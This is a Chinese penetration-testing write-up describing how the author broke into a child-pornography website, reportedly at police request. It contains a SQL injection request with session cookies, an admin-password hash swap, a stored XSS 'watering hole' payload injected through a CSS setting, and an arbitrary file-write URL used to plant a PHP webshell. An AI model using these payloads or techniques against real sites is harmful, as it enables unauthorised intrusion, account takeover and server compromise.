记一次渗透拿下某儿童色情网站的经过

经熟人介绍,接到了某地公安的一个关于儿童色情相关的案件,从0到shell的过程。

首页界面:

实战 | 记一次渗透拿下某儿童色情网站的经过

个人中心界面:
实战 | 记一次渗透拿下某儿童色情网站的经过

经过对网站的侦察,发现了一处SQL注入漏洞。

POST /home/api/getcnxh.html HTTP/1.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=vgpsk2hldk6um1ko0klktjdu90; 
referer=null; Hm_lvt_3cc2d9a3db9890c5b316a13983c7b017=1655260236; crisp-client%2Fsession%2F328b8d45-974d-47e4-9789-0c25dea9b544=session_a905c982-c567-49e2-b394-43ecc5aa5e89; Hm_lpvt_3cc2d9a3db9890c5b316a13983c7b017=1655261243; crisp-client%2Fsocket%2F328b8d45-974d-47e4-9789-0c25dea9b544=1 Connection: close
Content-Type: application/x-www-form-urlencodedContent-Length: 18

limit=15&type=1'
实战 | 记一次渗透拿下某儿童色情网站的经过

实战 | 记一次渗透拿下某儿童色情网站的经过

通过对其测试发现该注入点支持 报错注入+堆叠查询 然而并非DBA权限,所以凉凉。

我们开始进入后台。

实战 | 记一次渗透拿下某儿童色情网站的经过

当我们读取到了后台密码后,发现并非是MD5密码。

实战 | 记一次渗透拿下某儿童色情网站的经过

科普小知识

$2y$10$qtAl98K5jq6LOFixMJUBXu04volsS7xB23ZPeCqLGWvnUc.hFoOF.
password_hash()使用了一个强的哈希算法,来产生足够强的盐值,并且会自动进行合适的轮次。password_hash()是crypt()的一个简单封装,并且完全与现有的密码哈希兼容。所以推荐使用password_hash()。

简而言之,此种加密比MD5加密更加安全,并且每次加密值都不会相同

所以我们寻找到了一个密码,用来修改他的原始密码,当我们登录成功后我们在替换回来即可。

原始:$2y$10$qtAl98K5jq6LOFixMJUBXu04volsS7xB23ZPeCqLGWvnUc.hFoOF.新密码:$2y$12$QjSH496pcT5CEbzjD/vtVeH03tfHKFy36d4J0Ltp3lRtee9HDxY3K = rasmuslerdorf
实战 | 记一次渗透拿下某儿童色情网站的经过

这个时候数据库中的密码产生了变化,我们可以使用该密码登录。

实战 | 记一次渗透拿下某儿童色情网站的经过

进入后台

实战 | 记一次渗透拿下某儿童色情网站的经过

后台进了,寻找了好几圈都没有找到Getshell的地方,后来也尝试寻找

Thinkphp3.2.3 的缓存文件Getshell方法(【微盘系统】后台修改配置文件通过缓存进行Getshell 原理跟TP5相同。

但是均无疾而终。

于是只能想办法进行水坑攻击。通过寻找标题可控或者菜单名可控进行XSS,但是均被过滤

实战 | 记一次渗透拿下某儿童色情网站的经过

在经过长期的寻找,发现了一处功能点。
实战 | 记一次渗透拿下某儿童色情网站的经过

这里可以控制所有的CSS。并且是输出页面的。

实战 | 记一次渗透拿下某儿童色情网站的经过

剩下的应该能猜到了。

水坑 Payload

!important;}%0a<script src="1.js"></script><style type="text/css">

只要登录后台必定触发该水坑,最终上线。

Getshell

委托人想要拿到Shell以及数据库。所以我还得加把力!

通过搜索后台的显示名称【歪歪漫画】,在百度中果然找到同类型源码,你懂的,下面就是进入代码审计。

实战 | 记一次渗透拿下某儿童色情网站的经过

花了5块钱,开始下载审计。
实战 | 记一次渗透拿下某儿童色情网站的经过

如上图,在这里发现了漏洞点,简而言之就是这里代码功能主要实现了:请求外部提供的URL地址,将其资源保存到你想要保存的位置,活脱脱的一个任意文件写入。

利用Payload:

/admin/caiji/httpcopyyymh?url=xxxx.jpg&path=保存路径&file=123.php

前后台都有这个接口。

文章来源微信公众号:HACK学习君